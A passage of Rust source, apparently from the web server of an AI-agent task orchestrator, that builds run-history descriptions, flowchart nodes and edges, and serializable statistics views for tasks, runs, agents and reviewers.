6314    /// The previous distinct run and how it ended, for the retry note.
6315    prior: Option<(&'a str, RunStatus)>,
6316    last: bool,
6317    /// This pass as the run recorded it, when it did.
6318    pass: Option<&'a crate::run::RunPass>,
6319    /// What the task recorded when it settled this pass.
6320    settled: Option<&'a crate::queue::TaskPass>,
6321    /// 1-based position among the task's entries for this run, and their count.
6322    pass_n: usize,
6323    passes_of_run: usize,
6324}
6325
6326/// Describe one entry of a task's run list. Pure: everything it needs is on
6327/// the run and the task, so it is asserted without a server.
6328fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6329    let RunSlot {
6330        n,
6331        resumed,
6332        resumed_later,
6333        prior,
6334        last,
6335        pass,
6336        settled,
6337        pass_n,
6338        passes_of_run,
6339    } = at;
6340    let short = run::short_of(id).to_owned();
6341    let Some(s) = state else {
6342        return TaskRunView {
6343            activity: None,
6344            n,
6345            id: id.to_owned(),
6346            short,
6347            kind: "unknown",
6348            status: None,
6349            readable: false,
6350            provisional: false,
6351            description:
6352                "This run's record could not be read by this build (written by a different \
6353                          magi, or removed), so what kind of attempt it was is unknown."
6354                    .to_owned(),
6355            outcome: String::new(),
6356            created_at: None,
6357            pr: None,
6358            exit: RunExit::Unreadable,
6359            attempt: AttemptCost::Unknown,
6360            exit_label: RunExit::Unreadable.edge_label(None),
6361            later_pass: resumed_later,
6362            pass_n,
6363            passes_of_run,
6364            pass: None,
6365            branch: None,
6366            badge: None,
6367        };
6368    };
6369    let branch = review_branch_of(&s.instruction);
6370    let kind = if resumed {
6371        "resume"
6372    } else if branch.is_some() {
6373        "review"
6374    } else if task.solo || s.candidates.len() == 1 {
6375        "solo"
6376    } else {
6377        "competition"
6378    };
6379    let mut description = match kind {
6380        "resume" => {
6381            format!("Resumed run {short}: the same run carried on instead of competing again.")
6382        }
6383        "review" => format!(
6384            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6385            branch.unwrap_or_default()
6386        ),
6387        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6388        _ => format!(
6389            "Competition: {} candidates judged blind.",
6390            s.candidates.len().max(1)
6391        ),
6392    };
6393    if !resumed && let Some((p, st)) = prior {
6394        description.push_str(&format!(
6395            " A retry: run {p} before it ended {}.",
6396            st.display_label()
6397        ));
6398    }
6399
6400    let status = s.status;
6401    let provisional = matches!(status, RunStatus::Stalled)
6402        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6403    let head = if resumed_later.is_some() {
6404        String::new()
6405    } else {
6406        match status {
6407            RunStatus::Merged => "Merged.".to_owned(),
6408            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6409            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6410            RunStatus::AlreadyInBase => {
6411                "Already in the base: this change landed under other commits, nothing was left to land."
6412                    .to_owned()
6413            }
6414            RunStatus::Stalled => {
6415                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6416                    .to_owned()
6417            }
6418            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6419            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6420            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6421            RunStatus::VerifiedNoop => {
6422                "Verified no-op: the candidates found nothing to change.".to_owned()
6423            }
6424            other if other.done() => format!("Ended {}.", other.display_label()),
6425            other => format!("In progress ({}).", other.display_label()),
6426        }
6427    };
6428    let view = pass.map(|p| PassView::of(p, settled));
6429    let recorded_end = view
6430        .as_ref()
6431        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6432    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6433        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6434        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6435        None => "whether its attempt was handed back was not recorded",
6436    };
6437    let pass_note = if passes_of_run > 1 {
6438        format!(
6439            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6440        )
6441    } else {
6442        String::new()
6443    };
6444    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6445        // The run recorded this pass's end when it happened.
6446        let cause = match v.end {
6447            "parked" => format!("It was stopped on purpose: {}.", v.label),
6448            _ => format!("It {}.", v.label),
6449        };
6450        format!(
6451            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6452            capitalise(cost_words)
6453        )
6454    } else if let Some(k) = resumed_later {
6455        // A run is only picked up again while it is unfinished, so an earlier
6456        // pass of a repeated id stopped short; the record keeps only the run's
6457        // latest status, which is left to the pass that carried it on.
6458        // Only the latest state is recorded: `parked` is cleared on resume
6459        // and `quota` accumulates across passes, so neither says why *this*
6460        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6461        let cause = if s.quota.is_empty() {
6462            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6463        } else {
6464            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6465        };
6466        format!(
6467            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6468        )
6469    } else if s.parked {
6470        match recorded_end.and_then(|v| v.cause.as_ref()) {
6471            Some(cause) => format!(
6472                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6473                cause.label(),
6474                cost_words
6475            ),
6476            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6477                .to_owned(),
6478        }
6479    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6480        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6481    } else if !status.done()
6482        || matches!(
6483            status,
6484            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6485        )
6486    {
6487        String::new()
6488    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6489        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6490    {
6491        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6492            .to_owned()
6493    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6494        " It left a pull request open, so the task was held for a person rather than retried."
6495            .to_owned()
6496    } else if matches!(status, RunStatus::VerifiedNoop) {
6497        " Held for a person to check the claim.".to_owned()
6498    } else if last {
6499        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6500    } else {
6501        " It spent an attempt, and the task moved on to the next run.".to_owned()
6502    };
6503    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6504    let mut attempt = exit.cost();
6505    let mut exit_label = None;
6506    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6507        let spent = match v.cost {
6508            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6509            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6510            None if resumed_later.is_some() => ", refund not recorded",
6511            None => ", attempt refunded",
6512        };
6513        attempt = match v.cost {
6514            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6515            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6516            None if resumed_later.is_some() => AttemptCost::Unknown,
6517            None => attempt,
6518        };
6519        if v.end == "parked" {
6520            exit = RunExit::Parked;
6521            exit_label = Some(match v.cause.as_ref() {
6522                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6523                    format!("parked for {}{spent}", c.label())
6524                }
6525                Some(c) => format!("parked ({}){spent}", c.label()),
6526                None => format!("parked{spent}"),
6527            });
6528        } else {
6529            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6530        }
6531    }
6532    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6533    TaskRunView {
6534        activity: None,
6535        n,
6536        id: id.to_owned(),
6537        short,
6538        kind,
6539        status: Some(status.as_str()),
6540        readable: true,
6541        provisional,
6542        description,
6543        outcome: format!("{head}{why}"),
6544        created_at: Some(s.created_at),
6545        pr: s.pr.as_ref().map(|p| p.url.clone()),
6546        exit,
6547        attempt,
6548        exit_label,
6549        later_pass: resumed_later,
6550        pass_n,
6551        passes_of_run,
6552        pass: view,
6553        branch: branch.map(str::to_owned),
6554        badge: None,
6555    }
6556}
6557
6558fn capitalise(s: &str) -> String {
6559    let mut c = s.chars();
6560    c.next().map_or_else(String::new, |f| {
6561        f.to_uppercase().collect::<String>() + c.as_str()
6562    })
6563}
6564
6565/// One box of the task's flowchart.
6566#[derive(Debug, Serialize, PartialEq)]
6567struct FlowNode {
6568    /// Unique by position: a resumed run id appears once per pass.
6569    key: String,
6570    /// `chat`, `followup`, `start`, `run` or `end`.
6571    kind: &'static str,
6572    label: String,
6573    /// Run status (or the task's, for `end`); `None` when it is not a fact
6574    /// about this box (unreadable, or a pass the run later resumed from).
6575    status: Option<&'static str>,
6576    /// Whose status `status` is, so the client picks the right colour table:
6577    /// `task` (the `followup` parent and `end`) or `run`.
6578    status_of: &'static str,
6579    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6580    note: Option<&'static str>,
6581    run_kind: Option<&'static str>,
6582    detail: Option<String>,
6583    /// A readable run with a real verdict; a stall never is.
6584    decided: bool,
6585    readable: bool,
6586    href: Option<String>,
6587    /// Overrides `status` as the badge word (`stale` / `superseded`).
6588    badge: Option<String>,
6589    /// Start of this entry, never the run's latest update or pass settlement.
6590    started_at: Option<Timestamp>,
6591    /// Context links (chat / follow-up) do not represent execution entries.
6592    time_expected: bool,
6593}
6594
6595#[derive(Debug, Serialize, PartialEq)]
6596struct FlowEdge {
6597    from: String,
6598    to: String,
6599    label: String,
6600    attempt: AttemptCost,
6601}
6602
6603#[derive(Debug, Serialize, PartialEq)]
6604struct FlowView {
6605    nodes: Vec<FlowNode>,
6606    edges: Vec<FlowEdge>,
6607    /// Attempts the task has counted since it was last released.
6608    attempts: usize,
6609    max_attempts: usize,
6610    /// Entries in the run list (passes), and how many distinct runs they are.
6611    /// Neither is the number of attempts consumed.
6612    passes: usize,
6613    runs: usize,
6614}
6615
6616/// Turn a task and its described runs into the flowchart's boxes and arrows.
6617/// Pure: the page only draws what this returns.
6618///
6619/// A follow-up opens with its parent (or the merged run) unless the task's
6620/// *source* is itself a chat, in which case the chat stays first and the
6621/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6622/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6623/// two normally do not coincide and the nearer origin wins.
6624fn task_flow(
6625    task: &Task,
6626    history: &[TaskRunView],
6627    max_attempts: usize,
6628    origin: Option<&FollowUpOrigin>,
6629) -> FlowView {
6630    let max_attempts = task.effective_attempt_limit(max_attempts);
6631    let node = |key: &str, kind, label: String| FlowNode {
6632        key: key.to_owned(),
6633        kind,
6634        label,
6635        status: None,
6636        status_of: "run",
6637        note: None,
6638        run_kind: None,
6639        detail: None,
6640        decided: false,
6641        readable: true,
6642        href: None,
6643        badge: None,
6644        started_at: None,
6645        time_expected: matches!(kind, "start" | "run" | "end"),
6646    };
6647    let mut nodes = Vec::new();
6648    let mut edges: Vec<FlowEdge> = Vec::new();
6649    // A task queued from a chat opens the flow with that conversation.
6650    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6651        let mut n = node(
6652            "chat",
6653            "chat",
6654            format!("Chat {}", crate::queue::short(&link.id)),
6655        );
6656        n.href = Some(link.href);
6657        nodes.push(n);
6658        edges.push(FlowEdge {
6659            from: "chat".to_owned(),
6660            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6661            label: "queued from chat".to_owned(),
6662            attempt: AttemptCost::None,
6663        });
6664    }
6665    if let Some(o) = origin {
6666        let mut n = match &o.parent {
6667            Some(p) => {
6668                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6669                n.status = Some(p.status);
6670                n.status_of = "task";
6671                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6672                n.href = Some(p.href.clone());
6673                n
6674            }
6675            None => {
6676                let mut n = node(
6677                    "origin",
6678                    "followup",
6679                    format!("Follow-up of run {}", o.run.short),
6680                );
6681                n.detail = Some("merged run".to_owned());
6682                n.status = o.run.status;
6683                n.href = o.run.href.clone();
6684                if o.run.href.is_none() {
6685                    n.readable = false;
6686                    n.note = Some("unreadable");
6687                }
6688                n
6689            }
6690        };
6691        n.decided = true;
6692        let from = n.key.clone();
6693        nodes.push(n);
6694        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6695        let more = o.findings.len().saturating_sub(shown.len());
6696        let label = match (shown.is_empty(), more) {
6697            (true, _) => "open findings".to_owned(),
6698            (false, 0) => format!("open findings {}", shown.join(", ")),
6699            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6700        };
6701        edges.push(FlowEdge {
6702            from,
6703            to: "start".to_owned(),
6704            label,
6705            attempt: AttemptCost::None,
6706        });
6707    }
6708    let mut start = node("start", "start", "Task queued".to_owned());
6709    start.started_at = Some(task.created_at);
6710    nodes.push(start);
6711    let mut prev = "start".to_owned();
6712    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6713    for (i, h) in history.iter().enumerate() {
6714        let key = format!("run-{}", h.n);
6715        let mut n = node(&key, "run", format!("Run {}", h.short));
6716        // Creation marks only the first pass of legacy runs. A resumed pass
6717        // without a record must not inherit the original run's start time.
6718        n.started_at = h
6719            .readable
6720            .then(|| {
6721                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6722                    h.created_at
6723                } else {
6724                    None
6725                })
6726            })
6727            .flatten();
6728        n.run_kind = Some(h.kind);
6729        n.readable = h.readable;
6730        n.href = Some(format!("#/runs/{}", h.id));
6731        n.decided = h.readable && !h.provisional;
6732        n.detail = h
6733            .branch
6734            .as_ref()
6735            .map(|b| format!("review-only run of branch {b}"));
6736        match h.exit {
6737            RunExit::Unreadable => n.note = Some("unreadable"),
6738            RunExit::Interrupted => n.note = Some("interrupted"),
6739            // An earlier pass the run recorded as parked: the status shown
6740            // would be the run's current one, not this pass's.
6741            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6742            _ => {
6743                n.status = h.status;
6744                n.badge = h.badge.clone();
6745                if h.provisional {
6746                    n.note = Some("no verdict");
6747                }
6748            }
6749        }
6750        let into = match h.kind {
6751            "review" => Some(format!(
6752                "review-only run of branch {}",
6753                h.branch.as_deref().unwrap_or("?")
6754            )),
6755            "resume" => Some("resume the same run".to_owned()),
6756            _ if i > 0 => Some("retry".to_owned()),
6757            _ => None,
6758        };
6759        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6760        let label = match (prev_exit, into) {
6761            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6762            (Some((_, l, _)), None) => l,
6763            (None, Some(i)) => i,
6764            (None, None) => "claimed".to_owned(),
6765        };
6766        edges.push(FlowEdge {
6767            from: prev.clone(),
6768            to: key.clone(),
6769            label,
6770            attempt,
6771        });
6772        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6773        prev = key;
6774        nodes.push(n);
6775    }
6776    let mut end = node("end", "end", task.status.as_str().to_owned());
6777    end.status = Some(task.status.as_str());
6778    end.status_of = "task";
6779    // Other task states do not persist their transition start. In particular,
6780    // blocked_at can change while the task remains blocked.
6781    if task.status == TaskStatus::Held {
6782        end.started_at = task.held_at;
6783    }
6784    nodes.push(end);
6785    let (label, attempt) = match prev_exit {
6786        None => (
6787            format!("no run yet \u{2192} {}", task.status.as_str()),
6788            AttemptCost::None,
6789        ),
6790        Some((e, l, cost)) if e.explains(task.status) => {
6791            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6792        }
6793        Some((_, _, cost)) => (
6794            format!("closed by hand: task is {}", task.status.as_str()),
6795            cost,
6796        ),
6797    };
6798    edges.push(FlowEdge {
6799        from: prev,
6800        to: "end".to_owned(),
6801        label,
6802        attempt,
6803    });
6804    FlowView {
6805        nodes,
6806        edges,
6807        attempts: task.attempts,
6808        max_attempts,
6809        passes: history.len(),
6810        runs: distinct_runs(&task.runs),
6811    }
6812}
6813
6814/// How many different run ids a task's run list names.
6815fn distinct_runs(runs: &[String]) -> usize {
6816    let mut seen: Vec<&str> = Vec::new();
6817    for r in runs {
6818        if !seen.contains(&r.as_str()) {
6819            seen.push(r);
6820        }
6821    }
6822    seen.len()
6823}
6824
6825/// Describe recorded task passes, retaining unrecorded legacy list entries.
6826fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6827    let mut slots = Vec::new();
6828    let mut seen = Vec::new();
6829    for run_id in &task.runs {
6830        if seen.contains(&run_id) {
6831            continue;
6832        }
6833        seen.push(run_id);
6834        let state = read(run_id);
6835        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6836            s.passes
6837                .iter()
6838                .filter(|p| {
6839                    p.task_entry
6840                        || task
6841                            .passes
6842                            .iter()
6843                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6844                })
6845                .cloned()
6846                .collect()
6847        });
6848        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6849        let total = legacy_count.max(mine.len());
6850        let offset = total - mine.len();
6851        for k in 0..total {
6852            // Legacy repeated entries retain their original positions. When
6853            // ids are unique, recorded pass times recover the resume order.
6854            let position = task
6855                .runs
6856                .iter()
6857                .enumerate()
6858                .filter(|(_, r)| *r == run_id)
6859                .nth(k.min(legacy_count - 1))
6860                .unwrap()
6861                .0;
6862            slots.push((
6863                run_id,
6864                state.clone(),
6865                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6866                position,
6867            ));
6868        }
6869    }
6870    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6871        slots.sort_by_key(|(_, state, pass, _)| {
6872            pass.as_ref()
6873                .map(|p| p.started_at)
6874                .or_else(|| state.as_ref().map(|s| s.created_at))
6875                .map_or((true, task.created_at), |at| (false, at))
6876        });
6877    } else {
6878        slots.sort_by_key(|(_, _, _, position)| *position);
6879    }
6880    let mut history = Vec::with_capacity(slots.len());
6881    let mut seen: Vec<&str> = Vec::new();
6882    let mut prior: Option<(&str, RunStatus)> = None;
6883    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6884        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6885        let resumed = k > 0;
6886        seen.push(run_id);
6887        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6888        let pass = pass.as_ref();
6889        let settled = pass.and_then(|p| {
6890            task.passes
6891                .iter()
6892                .find(|t| t.run == **run_id && t.pass_index == p.index)
6893        });
6894        history.push(task_run_view(
6895            run_id,
6896            state.as_ref(),
6897            RunSlot {
6898                n: i + 1,
6899                resumed,
6900                resumed_later: slots[i + 1..]
6901                    .iter()
6902                    .position(|(id, _, _, _)| id == run_id)
6903                    .map(|off| i + off + 2),
6904                prior,
6905                last: i + 1 == slots.len(),
6906                pass,
6907                settled,
6908                pass_n: k + 1,
6909                passes_of_run: total,
6910            },
6911            task,
6912        ));
6913        if let Some(s) = &state {
6914            prior = Some((run::short_of(run_id), s.status));
6915        }
6916    }
6917    history
6918}
6919
6920/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6921/// An earlier pass of a resumed run keeps no badge (it has no status box).
6922fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6923    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6924        return;
6925    }
6926    let (_, claimed, _) = run_row_inputs(ui);
6927    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6928    for h in history
6929        .iter_mut()
6930        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6931    {
6932        let Ok(state) = read_run(&ui.runs, &h.id) else {
6933            continue;
6934        };
6935        if state.status.done() {
6936            continue;
6937        }
6938        let live = state.liveness_with(
6939            claimed.contains(&h.id),
6940            |p| probe.borrow_mut().status(p),
6941            |p| probe.borrow_mut().started_at(p),
6942        );
6943        let waiting = !ui.questions.open_for(&h.id).is_empty();
6944        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6945        let display = run_display_status(&state, waiting, live);
6946        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6947        if matches!(word.as_str(), "stale" | "superseded")
6948            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6949        {
6950            h.badge = Some(word);
6951        }
6952    }
6953}
6954
6955async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6956    blocking(move || {
6957        let id = resolve_task(&ui.queue, &id)?;
6958        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6959    })
6960    .await
6961}
6962
6963async fn task_detail(
6964    State(ui): State<Arc<Ui>>,
6965    Path(id): Path<String>,
6966) -> ApiResult<Json<TaskDetailView>> {
6967    blocking(move || {
6968        let id = resolve_task(&ui.queue, &id)?;
6969        let task = ui
6970            .queue
6971            .get(&id)
6972            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6973        let inv = if task.status == TaskStatus::Blocked {
6974            Some(crate::blockers::Inventory::load_for(
6975                &ui.queue,
6976                &ui.questions,
6977                &task,
6978            ))
6979        } else {
6980            None
6981        };
6982        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6983        mark_badges(&ui, &task, &mut history);
6984        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6985        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6986        let origin = task.followup.as_ref().map(|fu| {
6987            followup_origin(
6988                fu,
6989                |tid| ui.queue.get(tid).ok(),
6990                |rid| read_run(&ui.runs, rid).ok(),
6991            )
6992        });
6993        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6994        let task_view = match inv.as_ref() {
6995            Some(inv) => TaskView::with_inventory(task, inv),
6996            None => TaskView::from(task),
6997        }
6998        .with_recovery_decisions(&ui.questions);
6999        Ok(Json(TaskDetailView {
7000            max_attempts,
7001            flow,
7002            followup_origin: origin,
7003            passes_total: history.len(),
7004            runs_distinct: distinct_runs(&task_view.task.runs),
7005            history,
7006            runs_unreadable,
7007            attempts_note: ATTEMPTS_NOTE,
7008            task: task_view,
7009        }))
7010    })
7011    .await
7012}
7013
7014/// A rate together with its denominator, so the client can tell "computed as
7015/// 0%" apart from "no data to compute it from" — both would otherwise
7016/// serialize as `0.0`. `None` means the denominator was zero.
7017#[derive(Debug, Serialize)]
7018struct RateView {
7019    pct: f64,
7020    denominator: usize,
7021}
7022
7023impl RateView {
7024    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7025        (denominator > 0).then(|| Self {
7026            pct: 100.0 * numerator as f64 / denominator as f64,
7027            denominator,
7028        })
7029    }
7030}
7031
7032/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7033/// rates, each paired with its own denominator via [`RateView`] rather than
7034/// exposing `Stats`' own percentage methods directly — see this module's
7035/// doc for why `Stats` itself is never serialized.
7036#[derive(Debug, Serialize)]
7037struct StatsTotalsView {
7038    runs: usize,
7039    merged: usize,
7040    ready: usize,
7041    blocked: usize,
7042    failed: usize,
7043    stalled: usize,
7044    verified_noop: usize,
7045    superseded: usize,
7046    in_progress: usize,
7047    completion_rate: Option<RateView>,
7048    tallied: usize,
7049    split: usize,
7050    split_rate: Option<RateView>,
7051    deliberated: usize,
7052    minds_changed: usize,
7053    converged: usize,
7054    review_rounds: usize,
7055}
7056
7057impl From<&stats::Totals> for StatsTotalsView {
7058    fn from(t: &stats::Totals) -> Self {
7059        Self {
7060            runs: t.runs,
7061            merged: t.merged,
7062            ready: t.ready,
7063            blocked: t.blocked,
7064            failed: t.failed,
7065            stalled: t.stalled,
7066            verified_noop: t.verified_noop,
7067            superseded: t.superseded,
7068            in_progress: t.in_progress,
7069            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7070            tallied: t.tallied,
7071            split: t.split,
7072            split_rate: RateView::of(t.split, t.tallied),
7073            deliberated: t.deliberated,
7074            minds_changed: t.minds_changed,
7075            converged: t.converged,
7076            review_rounds: t.review_rounds,
7077        }
7078    }
7079}
7080
7081/// [`crate::stats::AgentStats`] for the wire.
7082#[derive(Debug, Serialize)]
7083struct AgentStatsView {
7084    agent: String,
7085    entered: usize,
7086    wins: usize,
7087    empty: usize,
7088    win_rate: Option<RateView>,
7089    competitive_entered: usize,
7090    competitive_wins: usize,
7091    competitive_win_rate: Option<RateView>,
7092    solo_entered: usize,
7093    solo_adopted: usize,
7094    solo_adoption_rate: Option<RateView>,
7095}
7096
7097impl From<&stats::AgentStats> for AgentStatsView {
7098    fn from(a: &stats::AgentStats) -> Self {
7099        Self {
7100            agent: a.agent.clone(),
7101            entered: a.entered,
7102            wins: a.wins,
7103            empty: a.empty,
7104            win_rate: RateView::of(a.wins, a.entered),
7105            competitive_entered: a.competitive_entered,
7106            competitive_wins: a.competitive_wins,
7107            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7108            solo_entered: a.solo_entered,
7109            solo_adopted: a.solo_adopted,
7110            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7111        }
7112    }
7113}
7114
7115/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7116/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7117/// value, `None` when `rounds` is zero.
7118#[derive(Debug, Serialize)]
7119struct ReviewerStatsView {
7120    agent: String,
7121    rounds: usize,
7122    seated: usize,
7123    submitted: usize,
7124    adopted: usize,
7125    unique: usize,
7126    timeouts: usize,
7127    adopted_per_round: Option<f64>,
7128    precision: Option<RateView>,
7129    unique_rate: Option<RateView>,
7130    timeout_rate: Option<RateView>,
7131}
7132
7133impl From<&stats::ReviewerStats> for ReviewerStatsView {
7134    fn from(r: &stats::ReviewerStats) -> Self {
7135        Self {
7136            agent: r.agent.clone(),
7137            rounds: r.rounds,
7138            seated: r.seated,
7139            submitted: r.submitted,
7140            adopted: r.adopted,
7141            unique: r.unique,
7142            timeouts: r.timeouts,
7143            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7144            precision: RateView::of(r.adopted, r.submitted),
7145            unique_rate: RateView::of(r.unique, r.submitted),
7146            timeout_rate: RateView::of(r.timeouts, r.seated),
7147        }
7148    }
7149}
7150
7151/// [`crate::stats::AdvisorStats`] for the wire.
7152///
7153/// `reflection_rate` is approximate by construction — see
7154/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7155/// that caveat is static text in `index.html`, not a field here.
7156#[derive(Debug, Serialize)]
7157struct AdvisorStatsView {
7158    agent: String,
7159    seated: usize,
7160    proposed: usize,
7161    absent: usize,
7162    faint: usize,
7163    strong: usize,
7164    reflection_rate: Option<RateView>,
7165}
7166
7167impl From<&stats::AdvisorStats> for AdvisorStatsView {
7168    fn from(a: &stats::AdvisorStats) -> Self {
7169        Self {
7170            agent: a.agent.clone(),
7171            seated: a.seated,
7172            proposed: a.proposed,
7173            absent: a.absent,
7174            faint: a.faint,
7175            strong: a.strong,
7176            reflection_rate: RateView::of(a.strong, a.proposed),
7177        }
7178    }
7179}
7180
7181/// [`crate::stats::E2eStats`] for the wire.
7182#[derive(Debug, Serialize)]
7183struct E2eStatsView {
7184    rounds: usize,
7185    failures: usize,
7186    sole_detections: usize,
7187    deferred: usize,
7188    sole_rate: Option<RateView>,
7189}
7190
7191impl From<&stats::E2eStats> for E2eStatsView {
7192    fn from(e: &stats::E2eStats) -> Self {
7193        Self {
7194            rounds: e.rounds,
7195            failures: e.failures,
7196            sole_detections: e.sole_detections,
7197            deferred: e.deferred,
7198            sole_rate: RateView::of(e.sole_detections, e.failures),
7199        }
7200    }
7201}
7202
7203/// [`crate::stats::ReleaseBumpStats`] for the wire.
7204///
7205/// `clean` is sent as a raw count, computed the same way
7206/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7207/// needs_attention`) — never derived client-side from `automerge_enabled`,
7208/// which would misclassify a `merged_directly` bump (automerge rejected, but
7209/// magi merged it directly, so no human involvement) as needing attention.
7210#[derive(Debug, Serialize)]
7211struct ReleaseBumpStatsView {
7212    merged: usize,
7213    recorded: usize,
7214    pr_opened: usize,
7215    automerge_enabled: usize,
7216    merged_directly: usize,
7217    needs_attention: usize,
7218    clean: usize,
7219    coverage_rate: Option<RateView>,
7220    automerge_rate: Option<RateView>,
7221    attention_rate: Option<RateView>,
7222}
7223
7224impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7225    fn from(b: &stats::ReleaseBumpStats) -> Self {
7226        Self {
7227            merged: b.merged,
7228            recorded: b.recorded,
7229            pr_opened: b.pr_opened,
7230            automerge_enabled: b.automerge_enabled,
7231            merged_directly: b.merged_directly,
7232            needs_attention: b.needs_attention,
7233            clean: b.clean(),
7234            coverage_rate: RateView::of(b.recorded, b.merged),
7235            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7236            attention_rate: RateView::of(b.needs_attention, b.recorded),
7237        }
7238    }
7239}
7240
7241/// [`crate::queue::TaskCounts`] for the wire.
7242#[derive(Debug, Serialize)]
7243struct TaskCountsView {
7244    queued: usize,
7245    running: usize,
7246    done: usize,
7247    failed: usize,
7248    held: usize,
7249    blocked: usize,
7250    parked: usize,
7251}
7252
7253impl From<crate::queue::TaskCounts> for TaskCountsView {
7254    fn from(c: crate::queue::TaskCounts) -> Self {
7255        Self {
7256            queued: c.queued,
7257            running: c.running,
7258            done: c.done,
7259            failed: c.failed,
7260            held: c.held,
7261            blocked: c.blocked,
7262            parked: c.parked,
7263        }
7264    }
7265}
7266
7267/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7268/// runs recorded — the summary the UI's repository selector is built from.
7269/// Carries no nested `Stats`: picking a repo means re-fetching
